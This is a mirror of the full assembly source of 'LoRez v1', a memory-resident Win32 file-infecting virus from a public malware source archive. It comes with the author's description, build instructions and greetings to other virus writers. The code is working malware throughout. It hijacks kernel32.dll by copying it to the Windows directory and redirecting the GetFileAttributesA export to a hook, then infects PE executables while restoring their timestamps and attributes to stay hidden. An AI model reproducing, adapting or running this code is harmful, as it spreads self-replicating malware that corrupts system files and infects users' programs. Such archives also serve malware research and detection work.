mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
809 lines
32 KiB
NASM
809 lines
32 KiB
NASM
|
|
|||
|
;** NOTE: original release assumed that this virus worked on WinNT, but I
|
|||
|
;** never tested it. I later found out that it does not go memory resident
|
|||
|
;** under WinNT, although it causes no system faults, etc.
|
|||
|
|
|||
|
;
|
|||
|
; LoRez v1 - By Virogen [NoP]
|
|||
|
;
|
|||
|
; This is my final research on Win32 resident kernel infection. LoRez is
|
|||
|
; a memory-resident Win32 PE EXE Infector. It successfully operates on
|
|||
|
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
|
|||
|
; goes memory resident by infecting kernel32.dll. It changes the export
|
|||
|
; RVA of GetFileAttributesA to that of the virus code. The next time the
|
|||
|
; system boots, the virus goes memory resident and infects any PE EXE
|
|||
|
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
|
|||
|
; as many those accessed in many other file manipulations. In order to
|
|||
|
; get around the shared lock on kernel32.dll, LoRez copies the kernel
|
|||
|
; to the windows directory and infects it there. This new copy of the
|
|||
|
; kernel will be found before the original one in the system directory
|
|||
|
; when the system is booted.
|
|||
|
;
|
|||
|
; In order to remove the use of static APIs addresses, LoRez searches
|
|||
|
; the kernel32 export table in memory for the APIs which it requires. It
|
|||
|
; does this by first determining the operating system. It finds this by
|
|||
|
; checking a value on the stack and comparing it to the Win95/98 or WinNT
|
|||
|
; kernel bases, which are static regardless of kernel version. If the
|
|||
|
; operating system cannot be determined, then LoRez passes control back
|
|||
|
; to the host without ever accessing any memory which might cause a fault.
|
|||
|
; Once the kernel base is determined, LoRez finds the export table and
|
|||
|
; then extracts the addresses of the APIs it needs.
|
|||
|
;
|
|||
|
; Virus Name: LoRez v1
|
|||
|
; Virus Author: Virogen [NoP]
|
|||
|
; Release Date: 03-05-98
|
|||
|
; Operating Systems: Win95/WinNT/Win98
|
|||
|
; Hosts : PE EXE files
|
|||
|
; Encryption: Removed, till I get a new poly engine coded
|
|||
|
; File Date/Time: Unchanged
|
|||
|
; File Attributes: Unchanged ; the virus resets and then restores them
|
|||
|
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
|
|||
|
; file size increase due to the alignment of the EXE.
|
|||
|
;
|
|||
|
;
|
|||
|
; Past/Present/Future:
|
|||
|
; - My first Win95 virus was Yurn released last week. This was my first
|
|||
|
; attempt at windows resident infection and my first dive into the
|
|||
|
; windows operating system. Yurn infected the kernel by changing the
|
|||
|
; entry code of GetFileAttributesA to a call to the virus code. Yurn
|
|||
|
; was limited because it depended on static APIs and kernel versions
|
|||
|
; hardcoded into it. I regret releasing it in regards to the
|
|||
|
; superority of its spawn LoRez which was released only a week
|
|||
|
; later. However, the Yurn release helped me to acquire many new
|
|||
|
; insights from my virus colleagues. Release date: 02-25-98.
|
|||
|
;
|
|||
|
; - LoRez is my attempt at full Win32 infection without the use of
|
|||
|
; static APIs. LoRez is far superior to Yurn in many respects.
|
|||
|
; It has been a great success and I think will open up a new era of
|
|||
|
; Win32 infection. The techniques LoRez uses opens the Win32 platform
|
|||
|
; to many new possibilities. All that is left now is to add more
|
|||
|
; advanced features such as polymorphism and stealth. I sincerely hope
|
|||
|
; that virus authors will find this code useful in creating their own
|
|||
|
; kernel infectors. Release date: 03-05-98
|
|||
|
;
|
|||
|
; - The future: I will release a 32-bit polymorphic engine next,
|
|||
|
; along with a new and better virus using the techniques I've
|
|||
|
; researched here. This is ofcourse, provided I can finish it
|
|||
|
; before Mar 16 (I'll be gone from the computer world for 3
|
|||
|
; months). If not, then I look forward to seeing the new virus
|
|||
|
; code my colleagues have written in my absence.
|
|||
|
;
|
|||
|
; How to contact me : try effnet #virus
|
|||
|
;
|
|||
|
; Greetz -
|
|||
|
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
|
|||
|
; VirusBuster, and others.
|
|||
|
;
|
|||
|
;
|
|||
|
; HOW TO COMPILE LOREZ:
|
|||
|
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
|
|||
|
; the virus, just take out your handy hex editor and change the flags
|
|||
|
; of the code object to 0E0000040h. Note that this is stored in intel
|
|||
|
; reverse dd at offset 21Ch in LOREZ.EXE.
|
|||
|
;
|
|||
|
;
|
|||
|
;
|
|||
|
;
|
|||
|
;
|
|||
|
.386
|
|||
|
locals
|
|||
|
jumps
|
|||
|
.model flat,STDCALL
|
|||
|
|
|||
|
L equ
|
|||
|
|
|||
|
extrn ExitProcess : PROC ; this is so the import table
|
|||
|
; won't be empty. Is not used
|
|||
|
; in the virus. You'll need
|
|||
|
; IMPORT32.LIB for this one.
|
|||
|
|
|||
|
org 1000h
|
|||
|
.data ; our lonely data object
|
|||
|
progname db 'LoRez Virus host (c)Virogen',0
|
|||
|
.code ; .code - change flags after compile
|
|||
|
; to r/w/x
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;
|
|||
|
start: ; the would-be host
|
|||
|
push 0
|
|||
|
call [ExitProcessAPI] ; exit process
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; LoRez virus starts here
|
|||
|
;
|
|||
|
MAX_HDR equ 0250h ; we shouldn't need more than this
|
|||
|
ID_OFF equ 0ch ; offset in header for our marker
|
|||
|
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
|
|||
|
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
|
|||
|
MEM_ID equ 12345678h ; our communcation needs
|
|||
|
;
|
|||
|
;
|
|||
|
vstart:
|
|||
|
call geteip ; find relative offset
|
|||
|
geteip:
|
|||
|
mov ebp,[esp] ; grab it off stack
|
|||
|
mov eax,ebp ; used below
|
|||
|
sub ebp,offset geteip ; fix it up
|
|||
|
add esp,4 ; fix da stack
|
|||
|
|
|||
|
db 2dh ; sub eax
|
|||
|
host_addr dd (offset geteip-offset start)
|
|||
|
push eax ; subtract entry point differ
|
|||
|
; to get orginal entry VA
|
|||
|
|
|||
|
mov edx,[esp+4] ; determine OS
|
|||
|
and edx,0fff00000h
|
|||
|
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
|
|||
|
cmp edx,0bff00000h ; Win95?
|
|||
|
jz good_os
|
|||
|
mov eax,edx ; our NT kernel at 77F00000
|
|||
|
cmp edx,077f00000h ; WinNT?
|
|||
|
jnz goto_host ; abort if neither
|
|||
|
|
|||
|
good_os:
|
|||
|
;
|
|||
|
; a brief explanation of the organization of the export table would be
|
|||
|
; useful here. Ok, basically there are three tables within the export
|
|||
|
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
|||
|
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
|||
|
; the API in the RVA array. So, multiply the ordinal number by four and
|
|||
|
; you've got an index into the API RVA Table. Probably you don't already
|
|||
|
; have the ordinal number though, so you'll have to find it. To do this,
|
|||
|
; you use the Name Pointer Table. This is an array of pointers to the
|
|||
|
; asciiz name of each API. When you find the pointer of the API you're
|
|||
|
; looking for by string compares, you take the index number of it and
|
|||
|
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
|||
|
; in the ordinal table, and you're all set.
|
|||
|
;
|
|||
|
;
|
|||
|
mov [ebp+imagebase],eax ; save kernel base
|
|||
|
mov esi,eax
|
|||
|
add esi,[esi+3ch] ; relative ptr to PE header
|
|||
|
cmp word ptr [esi],'EP' ; make sure we're on right track
|
|||
|
jnz goto_host ; if not.. abort
|
|||
|
mov esi,[esi+120] ; get export table RVA
|
|||
|
add esi,eax ; relative to image base
|
|||
|
mov edi,[esi+36] ; get ordinal table RVA
|
|||
|
add edi,eax ; relative to image base
|
|||
|
mov [ebp+ordinaltbl],edi ; save it
|
|||
|
mov edi,[esi+32] ; get name ptr RVA
|
|||
|
add edi,eax ; is relative to image base
|
|||
|
mov [ebp+nameptrtbl],edi ; save it
|
|||
|
mov ecx,[esi+24] ; get number of name ptrs
|
|||
|
mov esi,[esi+28] ; get address table RVA
|
|||
|
add esi,eax ; is relative to image base
|
|||
|
mov [ebp+adrtbl],esi ; save it
|
|||
|
|
|||
|
xor edx,edx ; edx is our ordinal counter
|
|||
|
; edi=name ptr table
|
|||
|
; ecx=number of name ptrs
|
|||
|
lea esi,[ebp+APIs] ; -> API Name ptrs
|
|||
|
mov [ebp+ourAPIptr],esi ; save it
|
|||
|
lea eax,[ebp+API_Struct] ; our API address will go here
|
|||
|
mov [ebp+curAPIptr],eax ; save it
|
|||
|
chk_next_API_name:
|
|||
|
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
|||
|
mov ebx,[esi] ; load ptr to our API name
|
|||
|
add ebx,ebp ; add relative address
|
|||
|
mov esi,[edi] ; get API name RVA
|
|||
|
add esi,[ebp+imagebase] ; relative to image base
|
|||
|
compare_API_name:
|
|||
|
lodsb
|
|||
|
cmp al,byte ptr [ebx] ; compare a byte of names
|
|||
|
jnz not_our_API ; it's not our API
|
|||
|
cmp al,0 ; end of string?
|
|||
|
jz is_our_API ; it's our API
|
|||
|
inc ebx
|
|||
|
jmp compare_API_name
|
|||
|
|
|||
|
not_our_API:
|
|||
|
inc edx ; increment API counter
|
|||
|
cmp edx,ecx ; last entry of name ptr table?
|
|||
|
jz goto_host ; uhoh.. we didn't find one
|
|||
|
; of our APIs.. abort it all
|
|||
|
add edi,4 ; increment export name ptr idx
|
|||
|
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
|||
|
jmp chk_next_API_name
|
|||
|
|
|||
|
is_our_API:
|
|||
|
|
|||
|
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
xchg edx,eax ; edx=API number
|
|||
|
add eax,eax ; *2 cuz ordinals are words
|
|||
|
add edi,eax ; add to ordinal table VA
|
|||
|
mov ax,[edi] ; get ordinal (word)
|
|||
|
xor edx,edx
|
|||
|
mov ecx,4
|
|||
|
mul ecx ; *4 cuz address tbl is dd's
|
|||
|
mov edi,[ebp+adrtbl] ; load address table VA
|
|||
|
add edi,eax ; set idx to API
|
|||
|
mov eax,edi
|
|||
|
sub eax,[ebp+imagebase] ; get the VA of the entry
|
|||
|
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
|||
|
; notice that our last API
|
|||
|
; in the array is the one we
|
|||
|
; hook
|
|||
|
mov eax,[edi] ; get API RVA
|
|||
|
mov [ebp+originalRVA],eax ; save it for kernel infection
|
|||
|
add eax,[ebp+imagebase] ; is relative to image base
|
|||
|
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
|||
|
mov [edi],eax ; save VA of API
|
|||
|
add edi,4 ; increment index
|
|||
|
mov [ebp+curAPIptr],edi ; save
|
|||
|
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
|
|||
|
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
|||
|
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
|||
|
add esi,4 ; increment idx API name ptr structure
|
|||
|
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
|||
|
cmp dword ptr [esi],0 ; end of our API structure?
|
|||
|
jz found_all ; if so then we got 'em all
|
|||
|
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
|||
|
xor edx,edx ; reset API counter
|
|||
|
jmp chk_next_API_name
|
|||
|
|
|||
|
;
|
|||
|
; now we're done finding all of our API VAs
|
|||
|
;
|
|||
|
|
|||
|
found_all:
|
|||
|
|
|||
|
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
|
|||
|
|
|||
|
lea eax,[ebp+fname]
|
|||
|
push eax ; save for below
|
|||
|
push 0FFh ; max buffer size
|
|||
|
push eax ; ptr
|
|||
|
call [ebp+GetSysDirAPI] ; get system directory
|
|||
|
|
|||
|
pop edi
|
|||
|
add edi,eax ; find end of directory name
|
|||
|
push edi ; where the filename needz to go
|
|||
|
|
|||
|
lea eax,[ebp+copyfname]
|
|||
|
push eax ; save for below
|
|||
|
push 0ffh
|
|||
|
push eax
|
|||
|
call [ebp+GetWinDirAPI] ; get windoze directory
|
|||
|
|
|||
|
pop edi
|
|||
|
add edi,eax
|
|||
|
|
|||
|
lea esi,[ebp+kernfile]
|
|||
|
call copy_str ; append \kernel32.dll to windoze dir
|
|||
|
|
|||
|
pop edi ; restore windoze sys dir
|
|||
|
lea esi,[ebp+kernfile]
|
|||
|
call copy_str ; append kernel32.dll to windoze sys dir
|
|||
|
|
|||
|
push 0
|
|||
|
lea eax,[ebp+copyfname] ; from sys dir
|
|||
|
push eax
|
|||
|
lea eax,[ebp+fname] ; to win dir
|
|||
|
push eax
|
|||
|
call [ebp+CopyFileAPI] ; copy kernel to windows dir
|
|||
|
|
|||
|
cmp eax,0 ; if error then we're prob.
|
|||
|
jz goto_host ; already in memory
|
|||
|
|
|||
|
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
|
|||
|
mov [ebp+fnameptr],eax ; set file ptr
|
|||
|
|
|||
|
call infect_file ; infect the kernel
|
|||
|
|
|||
|
goto_host:
|
|||
|
|
|||
|
pop eax ; restore entry VA
|
|||
|
jmp eax ; jmp to host entry VA
|
|||
|
|
|||
|
;-----------------------------------------------
|
|||
|
; infect file - call with fnameptr set
|
|||
|
;
|
|||
|
infect_file:
|
|||
|
|
|||
|
mov eax,[ebp+fnameptr]
|
|||
|
push eax
|
|||
|
mov ecx,MEM_ID ; let us know its us
|
|||
|
call [ebp+GetAttribAPI] ; get file attributes
|
|||
|
mov [ebp+oldattrib],eax
|
|||
|
|
|||
|
cmp eax,-1 ; if error then maybe shared
|
|||
|
jnz not_shared
|
|||
|
ret ; can't infect it
|
|||
|
|
|||
|
not_shared:
|
|||
|
push 20h ; +A
|
|||
|
mov eax,[ebp+fnameptr]
|
|||
|
push eax
|
|||
|
call [ebp+SetAttribAPI] ; clear 'da attribs
|
|||
|
|
|||
|
call open_default_file
|
|||
|
|
|||
|
cmp eax,-1
|
|||
|
jnz open_ok
|
|||
|
ret
|
|||
|
|
|||
|
open_ok:
|
|||
|
|
|||
|
lea eax,[ebp+creation] ; creation time
|
|||
|
push eax
|
|||
|
lea eax,[ebp+lastaccess] ; last accessed
|
|||
|
push eax
|
|||
|
lea eax,[ebp+lastwrite] ; last writen to
|
|||
|
push eax
|
|||
|
push [ebp+handle]
|
|||
|
call [ebp+GetFileTimeAPI] ; grab the file time
|
|||
|
|
|||
|
mov ecx,50h ; read MZ EXE header
|
|||
|
lea edx,[ebp+peheader] ; (if that's what it is)
|
|||
|
call read_file
|
|||
|
|
|||
|
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
|
|||
|
jnz abort_infect
|
|||
|
|
|||
|
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
|
|||
|
mov [ebp+ptrpeheader],eax ; save it
|
|||
|
call setfp
|
|||
|
|
|||
|
call setfp_pehdr
|
|||
|
|
|||
|
mov ecx,MAX_HDR ; now read the pe header
|
|||
|
lea edx,[ebp+peheader]
|
|||
|
call read_file
|
|||
|
|
|||
|
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
|
|||
|
jnz abort_infect ; something funky if no
|
|||
|
|
|||
|
cmp word ptr [ebp+peheader],'EP' ; PE?
|
|||
|
jnz abort_infect
|
|||
|
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
|
|||
|
jnz abort_infect ; if yes, infected
|
|||
|
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
|
|||
|
jz skip_base_chk ; if so then its ok to be DLL
|
|||
|
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
|
|||
|
jnz abort_infect ; base, DLLs probably not.
|
|||
|
skip_base_chk:
|
|||
|
|
|||
|
call [ebp+GetTickCountAPI] ; get tick count
|
|||
|
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
|
|||
|
|
|||
|
xor esi,esi
|
|||
|
mov si, word ptr [ebp+NtHeaderSize] ; get header size
|
|||
|
add esi,18h ; object table is here
|
|||
|
mov dword ptr [ebp+ObjTbloff],esi
|
|||
|
|
|||
|
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
|
|||
|
add esi,eax ; esi->object table
|
|||
|
mov [ebp+objtblVA],esi ; save the object table VA
|
|||
|
xor eax,eax
|
|||
|
mov ax,[ebp+numObj] ; get number of objects
|
|||
|
dec eax ; we want last object
|
|||
|
mov ecx,40 ; each object 40 bytes
|
|||
|
xor edx,edx
|
|||
|
mul ecx ; numObj-1*40=last object
|
|||
|
add esi,eax ; esi->last obj
|
|||
|
|
|||
|
lea eax,[ebp+peheader+MAX_HDR-40]
|
|||
|
cmp esi,eax ; if it's out of our range
|
|||
|
jg abort_infect ; then about this here shit
|
|||
|
|
|||
|
mov eax,[esi+20] ; get last object physical off
|
|||
|
mov [ebp+lastobjimageoff],eax ; save it
|
|||
|
|
|||
|
mov ecx,dword ptr [ebp+filealign] ; get file alignment
|
|||
|
mov eax,[esi+16] ; get physical size of object
|
|||
|
mov [ebp+originalpsize],eax ; save it 4 later
|
|||
|
push eax
|
|||
|
add eax,vend-vstart ; size of our code
|
|||
|
call align_fix ; set on file alignment
|
|||
|
mov dword ptr [esi+16],eax ; save new physical size
|
|||
|
|
|||
|
mov ecx,dword ptr [ebp+objalign] ; get object alignment
|
|||
|
push ecx ; save for below
|
|||
|
mov eax,[esi+8] ; get object virtual size
|
|||
|
add eax,VIRTUAL_SIZE ; add our virtual size
|
|||
|
call align_fix ; set on obj alignment
|
|||
|
mov dword ptr [esi+8],eax ; save new virtual size
|
|||
|
|
|||
|
pop ecx
|
|||
|
mov eax,VIRTUAL_SIZE ; how big we is
|
|||
|
add eax,dword ptr [ebp+imagesize] ; add to old image size
|
|||
|
call align_fix ; set on obj alignment
|
|||
|
mov dword ptr [ebp+imagesize],eax ; save new imagesize
|
|||
|
|
|||
|
mov [esi+36],0E0000040h ; set object flags r/x/x
|
|||
|
|
|||
|
pop eax ; restore orginal physical size
|
|||
|
add eax,[esi+12] ; add last object's RVA
|
|||
|
; eax now RVA of virus code
|
|||
|
mov [ebp+virusRVA],eax ; save it
|
|||
|
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
|
|||
|
jz new_entry ; nope.. regular PE
|
|||
|
|
|||
|
;--- our kernel infection starts here ---
|
|||
|
;
|
|||
|
; This is really fairly simple. First thing we need to do is find the
|
|||
|
; image offset of the export table entry for the API we're hooking. We
|
|||
|
; do this by locating the object that contains the export table. Then,
|
|||
|
; we subtract the image offset of the object from the virtual offset
|
|||
|
; of the object. The difference is then subtracted from the previously
|
|||
|
; saved RVA of the table entry. =image offset
|
|||
|
;
|
|||
|
; The different Win32 kernels have different objects which their
|
|||
|
; export table is located in. The Win95 kernels have it located in
|
|||
|
; .edata, while win98 puts it in .text, winNT decides to throw the
|
|||
|
; shit in .rdata. How do we determine which kernel is which, and which
|
|||
|
; object to calculate the image offset by? Simple, Win95 is the only
|
|||
|
; kernel that contains .edata, WinNT is the only kernel which contains
|
|||
|
; .rdata, and Win98 is the only kernel which doesn't contain either.
|
|||
|
;
|
|||
|
; Once we extrapolate the image offset of the export table entry for the
|
|||
|
; RVA of the API we're hooking, we just save the old RVA, and put our
|
|||
|
; RVA in its place.
|
|||
|
;
|
|||
|
;
|
|||
|
mov esi,[ebp+objtblVA] ; load object table VA
|
|||
|
xor ecx,ecx
|
|||
|
mov cx,[ebp+numObj] ; get number of objects
|
|||
|
dec ecx
|
|||
|
xor edx,edx ; we'll store our virtual-
|
|||
|
; physical difference here
|
|||
|
calc_fo_loop:
|
|||
|
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
|
|||
|
jz end_calc_fo_loop ; if so we can reference it
|
|||
|
cmp dword ptr [esi],'xet.' ; is it .text? for win98
|
|||
|
jnz not_text
|
|||
|
mov [ebp+objtext],esi ; save table entry offset
|
|||
|
not_text:
|
|||
|
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
|
|||
|
jz end_calc_fo_loop ; if rdata exists, then
|
|||
|
; our export shit is there
|
|||
|
add esi,40 ; to next object we go
|
|||
|
dec ecx ; decrement # of objects
|
|||
|
jnz calc_fo_loop ; if not been thru all loop
|
|||
|
mov esi,[ebp+objtext] ; if .edata or .rdata, then
|
|||
|
end_calc_fo_loop: ; it must be .text
|
|||
|
mov edx,[esi+12] ; get the object virtual off
|
|||
|
sub edx,[esi+20] ; subtract physical offset
|
|||
|
mov eax,[ebp+originalRVAptr] ; get table entry rva
|
|||
|
sub eax,edx ; subract difference
|
|||
|
|
|||
|
mov [ebp+FileOff],eax ; save table entry image off
|
|||
|
call setfp ; set file pointer to it
|
|||
|
|
|||
|
mov ecx,4 ; read RVA
|
|||
|
lea edx,[ebp+chkRVA]
|
|||
|
call read_file ; and check it to make sure
|
|||
|
; we've got it right
|
|||
|
mov eax,[ebp+chkRVA]
|
|||
|
cmp eax,[ebp+originalRVA] ; is it the right RVA?
|
|||
|
jnz abort_infect ; if not abort infection
|
|||
|
|
|||
|
mov eax,[ebp+FileOff] ; get image offset
|
|||
|
call setfp ; set file ptr to table entry
|
|||
|
|
|||
|
mov eax,[ebp+virusRVA] ; get virus RVA
|
|||
|
add eax,(offset hook-offset vstart) ; find our API hook RVA
|
|||
|
|
|||
|
lea esi,[ebp+hookRVA] ; to be written
|
|||
|
mov [esi],eax ; save hook RVA
|
|||
|
mov ecx,4 ; dd
|
|||
|
call write_code ; write the new hook RVA
|
|||
|
|
|||
|
mov eax,[ebp+originalRVA] ; get orginal API RVA
|
|||
|
add eax,[ebp+imagebase] ; relative to image base
|
|||
|
mov [ebp+jmpback],eax ; save it
|
|||
|
|
|||
|
jmp calc_reloc ; skip entry point change..
|
|||
|
|
|||
|
;-------------------------------------------------------
|
|||
|
; our PE EXE infection
|
|||
|
;
|
|||
|
new_entry:
|
|||
|
mov eax,[ebp+virusRVA] ; eax=virus RVA
|
|||
|
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
|
|||
|
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
|
|||
|
|
|||
|
calc_reloc:
|
|||
|
add eax,(offset geteip-offset vstart) ; fix for our reloc call
|
|||
|
sub eax,ebx ; difference of entry pts
|
|||
|
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
|
|||
|
; virusVA-diff=entryVA
|
|||
|
|
|||
|
call setfp_pehdr ; back to PE header
|
|||
|
|
|||
|
lea esi,[ebp+peheader] ; write the new PE header
|
|||
|
mov ecx,MAX_HDR
|
|||
|
call write_code ; to the host
|
|||
|
|
|||
|
mov eax,[ebp+originalpsize] ; restore original physical size
|
|||
|
add eax,[ebp+lastobjimageoff] ; add object physical offset
|
|||
|
call setfp ; set ptr to end of object
|
|||
|
|
|||
|
lea esi,[ebp+vstart]
|
|||
|
mov ecx,VIRUS_SIZE
|
|||
|
call write_code ; write the virus code to the host
|
|||
|
|
|||
|
abort_infect:
|
|||
|
|
|||
|
lea eax,[ebp+creation] ; creation time
|
|||
|
push eax
|
|||
|
lea eax,[ebp+lastaccess] ; last accessed
|
|||
|
push eax
|
|||
|
lea eax,[ebp+lastwrite] ; last writen to
|
|||
|
push eax
|
|||
|
push [ebp+handle]
|
|||
|
call [ebp+SetFileTimeAPI] ; restore orginal file time
|
|||
|
|
|||
|
call close_file ; we're done
|
|||
|
|
|||
|
mov eax,[ebp+oldattrib] ; get original attribs
|
|||
|
push eax
|
|||
|
mov eax,[ebp+fnameptr]
|
|||
|
push eax
|
|||
|
call [ebp+SetAttribAPI] ; restore the original attributes
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------------
|
|||
|
; close handle at [handle]
|
|||
|
;
|
|||
|
close_file:
|
|||
|
push dword ptr [ebp+offset handle]
|
|||
|
call [ebp+CloseFileAPI]
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------------
|
|||
|
; opens file with ptr to filename at [fnameptr]
|
|||
|
;
|
|||
|
open_default_file:
|
|||
|
mov eax,[ebp+fnameptr]
|
|||
|
;---------------------------------------------------------------
|
|||
|
; opens file, pass eax->filename
|
|||
|
;
|
|||
|
open_file:
|
|||
|
push 0
|
|||
|
push 20h ; r+w
|
|||
|
push 3 ; 3=open existing file
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 0C0000000h ; open for r+w
|
|||
|
push eax
|
|||
|
call [ebp+CreateFileAPI]
|
|||
|
mov [ebp+handle],eax ; save handle
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------------
|
|||
|
; read handle
|
|||
|
; pass ecx=bytes to read, edx=offset for bytes read
|
|||
|
;
|
|||
|
read_file:
|
|||
|
push 0
|
|||
|
lea eax,[ebp+bytesread]
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
push [ebp+handle]
|
|||
|
call [ebp+ReadFileAPI]
|
|||
|
ret
|
|||
|
|
|||
|
;--------------------------------------------------------------
|
|||
|
; sets eax on alignment of ecx
|
|||
|
;
|
|||
|
align_fix:
|
|||
|
xor edx,edx
|
|||
|
div ecx ; /alignment
|
|||
|
inc eax ; next alignment
|
|||
|
mul ecx ; *alignment
|
|||
|
ret
|
|||
|
|
|||
|
;--------------------------------------------------------------
|
|||
|
; set file pointer to PE header
|
|||
|
setfp_pehdr:
|
|||
|
mov eax,[ebp+ptrpeheader]
|
|||
|
|
|||
|
;--------------------------------------------------------------
|
|||
|
; set file ptr of [handle]
|
|||
|
; pass eax=offset from beginning
|
|||
|
;
|
|||
|
setfp:
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push eax
|
|||
|
push [ebp+handle]
|
|||
|
call [ebp+SetFilePtrAPI]
|
|||
|
ret
|
|||
|
|
|||
|
;-------------------------------------------------------------
|
|||
|
; write to [handle]
|
|||
|
; pass ecx=bytes to write, esi->source
|
|||
|
;
|
|||
|
write_code:
|
|||
|
push 0
|
|||
|
lea eax,[ebp+bytesread]
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
push [ebp+handle]
|
|||
|
call [ebp+WriteFileAPI]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;-------------------------------------------------------------
|
|||
|
; copy string
|
|||
|
; pass edi->destination esi->source
|
|||
|
;
|
|||
|
|
|||
|
copy_str:
|
|||
|
mov ecx,0FFh ; no bigger than 256
|
|||
|
copystr:
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
cmp al,0
|
|||
|
jz copystrdone
|
|||
|
loop copystr
|
|||
|
copystrdone:
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;------------------------------ hooked ------------------------
|
|||
|
; this is our API hook for GetAttrib
|
|||
|
;
|
|||
|
hook:
|
|||
|
|
|||
|
pushfd
|
|||
|
push eax ; save regs
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
push edi
|
|||
|
push esi
|
|||
|
push ebp
|
|||
|
|
|||
|
call reloc ; find relative index
|
|||
|
reloc:
|
|||
|
pop ebp ; eip
|
|||
|
sub ebp, offset reloc ; get relative address
|
|||
|
|
|||
|
lea eax,[ebp+jmpback] ; get jump back ptr
|
|||
|
mov [ebp+jmpbackptr],eax ; save jump back ptr
|
|||
|
|
|||
|
cmp ecx,MEM_ID ; is it us?
|
|||
|
jz abort_mem ; if so then abort
|
|||
|
|
|||
|
mov byte ptr [ebp+infkern],0 ; we're infecting normal
|
|||
|
|
|||
|
mov eax,[esp+24h] ; ptr to filename is here
|
|||
|
mov [ebp+fnameptr],eax ; save ptr to filename
|
|||
|
call infect_file ; replicate ourselves
|
|||
|
abort_mem:
|
|||
|
pop ebp ; restore regs
|
|||
|
pop esi
|
|||
|
pop edi
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
pop ebx
|
|||
|
pop eax
|
|||
|
popfd
|
|||
|
|
|||
|
db 0FFh,25h ; jmp [ ]
|
|||
|
jmpbackptr dd offset jmpback
|
|||
|
|
|||
|
jmpback dd 0 ; original API VA
|
|||
|
|
|||
|
db '<27> [LoRez] v1 by Virogen [NoP] <20>' ; it's i said the fly
|
|||
|
|
|||
|
kernfile db '\KERNEL32.dll',0 ; our kernel filename
|
|||
|
kernfile_e:
|
|||
|
|
|||
|
APIs: ; structure of ptrs to our API names
|
|||
|
dd offset GetTicks
|
|||
|
dd offset GetWinDir
|
|||
|
dd offset SetAttrib
|
|||
|
dd offset CreateFile
|
|||
|
dd offset SetFilePtr
|
|||
|
dd offset ReadFile
|
|||
|
dd offset WriteFile
|
|||
|
dd offset CloseFile
|
|||
|
dd offset GetSysDir
|
|||
|
dd offset CopyFile
|
|||
|
dd offset GetFileTime
|
|||
|
dd offset SetFileTime
|
|||
|
dd offset ExitProc
|
|||
|
dd offset GetAttrib ; the last entry is our hooked API
|
|||
|
dd 0
|
|||
|
; our API names
|
|||
|
GetTicks db 'GetTickCount',0
|
|||
|
GetWinDir db 'GetWindowsDirectoryA',0
|
|||
|
SetAttrib db 'SetFileAttributesA',0
|
|||
|
CreateFile db 'CreateFileA',0
|
|||
|
SetFilePtr db 'SetFilePointer',0
|
|||
|
ReadFile db 'ReadFile',0
|
|||
|
WriteFile db 'WriteFile',0
|
|||
|
CloseFile db 'CloseHandle',0
|
|||
|
GetSysDir db 'GetSystemDirectoryA',0
|
|||
|
CopyFile db 'CopyFileA',0
|
|||
|
GetFileTime db 'GetFileTime',0
|
|||
|
SetFileTime db 'SetFileTime',0
|
|||
|
ExitProc db 'ExitProcess',0 ; only used in original host
|
|||
|
GetAttrib db 'GetFileAttributesA',0
|
|||
|
|
|||
|
API_Struct: ; structure for API VAs
|
|||
|
GetTickCountAPI dd 0
|
|||
|
GetWinDirAPI dd 0
|
|||
|
